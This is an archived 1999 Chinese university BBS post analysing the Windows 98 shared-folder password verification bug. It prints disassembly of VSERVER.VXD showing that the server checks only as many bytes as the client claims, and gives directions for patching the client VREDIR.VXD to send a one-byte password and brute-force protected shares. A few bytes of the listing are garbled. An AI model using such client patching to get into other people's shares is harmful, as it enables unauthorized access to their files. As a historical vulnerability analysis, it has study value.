荔园在线

荔园之美,在春之萌芽,在夏之绽放,在秋之收获,在冬之沉淀

[回到开始] [上一篇][下一篇]


发信人: zzt (我命由我不由天), 信区: Program
标  题: WINDOWS98共享目录密码校验BUG的分析
发信站: BBS 荔园晨风站 (Mon Apr 26 19:56:39 1999), 转信

WINDOWS98共享目录密码校验BUG的分析

 袁哥

WINDOWS98的共享目录密码校验有BUG。下面是文件VSERVER。VXD中密码校验过程调用的有
BUG的一段程序。
3647是判断客户端密码是不是输入没密码,这时密码项内容是0X20,空格。
      不是就转  LOC-0444。
365A判断客户端通过网络通信发过来的加密后密码长度是0X18吗,一般都是。这转
LOC-0447去把共享目录密码加密同网络通信过来的密码比较,通过TEST
EAX,EAX设置ZF标记判断密码对不对。如果密码长度不是0X18,可能是别的什么方式的密码
比较,这儿密码是明码没加密。再判断密码长度大于9不,共享密码长度是1-8个字母数字等
。下面就是比较密码,后面的循环是以ECX密码长度和ZF标记为结束条件。显然这儿应该有
BUG,这密码长度
ECX应该是本声密码的长度,而这儿密码长度是网络通信发过来的数据。所以我发过来的数
据是1就只比较了一个密码的最前面字节。如果这一字节对就ZF=0因ECX=0退出结果是校验密
码成功。

03647              loc_0442:            ;  xref 03635
03647  66| 83 3A 20  cmp        word ptr [edx],20h ;THE SHARE PASSWORD
0364B  75 0D         jne        short loc_0444  ; Jump if not equal
0364D  B8 08460002              mov     eax,8460002h
03652  F9                       stc             ; Set carry flag
03653  C9                       leave           ; Procedure exit
03654  C3                       retn
03655                   loc_0443:               ;  xref 03640, 3645
03655  80 3F 00         cmp     byte ptr [edi],0
03658  74 26            je      short loc_0446; Jump if equal
0365A           loc_0444:                       ;  xref 0364B
0365A  83 F9 18 cmp ecx,18h ; THIS HAS BUG FOUND BY YRG  1999.1.15
0365D  74 24       je   short loc_0447  ; Jump if equal
0365F  83 F9 09  cmp    ecx,9
03662  77 1C     ja     short loc_0446  ; Jump if above
03664  F5                cmc            ; Complement carry
03665  83 D9 00  sbb    ecx,0
03668  51                push   ecx
03669  53                push   ebx
0366A  8B 1D 000137F4   mov     ebx,dword ptr data_0461 ; (137F4=137FCh)
03670  8B F2            mov     esi,edx
03672  2B C0            sub     eax,eax
03674  4F                       dec     edi

03675                   locloop_0445:                                   ;  xref
0367C
03675  47                       inc     edi
03676  AC                       lodsb   ; String [si] to al
03677  8A 04 18         mov     al,[eax][ebx]
0367A  3A 07      cmp   al,[edi] ;BUG !!! I CAN SET ECX=1
0367C  E1 F7        loopdz      locloop_0445  ; Loop if zf=1, ecx>0

0367E  5B                 pop   ebx
0367F  59                pop    ecx
03680            loc_0446:      ;  xref 03658, 3662, 36A1
03680 鶩8                clc    ; Clear carry flag
03681  C9                leave          ; Procedure exit
03682  C3                retn
03683            loc_0447: ;  xref 0365D
03683  81 EC 000000E4   sub     esp,0E4h
03689  8B C4            mov     eax,esp
0368B  60                       pushad  ; Save all regs
0368C ?2                        push    edx     ; PARAMETER_4
0368D  50                       push    eax     ; PARAMETER_3
0368E  8B 45 08         mov     eax,dword ptr [ebp+PARAMETER_1]
03691  8B 40 24         mov     eax,dword ptr [eax+24h]
03694  50                       push    eax     ; PARAMETER_2
03695  57                       push    edi     ; PARAMETER_1
03696  E8 000036A1              call    sub_0054                ; (06D3C)
0369B  83 C4 10         add     esp,10h
0369E  85 C0            test    eax,eax
036A0  61                       popad   ; Restore all regs
036A1  EB DD            jmp     short loc_0446


好了,那就找客户端发密码的代码。下面是VREDIR。VXD的这段相关代码。
15FCE的18H就是前面的那比较18H的。这儿改成可以1。CALL SUB-0067是加密输入的密码的
过程调用。15FEA 的EDX是指向输入的密码的指针。所以15FE9可以改成MOV AL,[EDX],
MOV [ECX],AL
JMP 15FF4

就可以。这样进入有密码的共享目录就可以用字母A-Z,数字0-9等试会很快的进入目录的。
当然最好那儿自动这么变化那AL,免得每次还要输入可以加快速度。

15FC8  8B 4D EC mov     ecx,dword ptr [ebp-14h]
15FCB  8B 55 F4         mov     edx,dword ptr [ebp-0Ch]
15FCE  66| C7 41 07 0018        mov     word ptr [ecx+7],18h; PASSWORD LONG
15FD4  83 C1 07         add     ecx,7
15FD7  83 C2 35         add     edx,35h
15FDA  8B 45 F8         mov     eax,dword ptr [ebp-8]
15FDD  83 C0 6C         add     eax,6Ch
15FE0  89 4D F0         mov     dword ptr [ebp-10h],ecx
15FE3  8B 4D EC         mov     ecx,dword ptr [ebp-14h]
15FE6  83 C1 0B         add     ecx,0Bh
15FE9  51                       push    ecx ;LOCKED  PASSWORD SET HERE
15FEA  52                       push    edx ;PASSWORD POINTER
15FEB  50                       push    eax
15FEC  E8 FFFF0EC5              call    sub_0067 ; LOCK THE PASSWORD
; (06EB6)
15FF1  83 C4 0C         add     esp,0Ch
15FF4  EB 71            jmp     short loc_1765
 --


日出东方,唯我不败;
    天上地下,唯我独尊。

※ 来源:.BBS 荔园晨风站 bbs.szu.edu.cn.[FROM: 192.168.1.155]


[回到开始] [上一篇][下一篇]

荔园在线首页 友情链接:深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店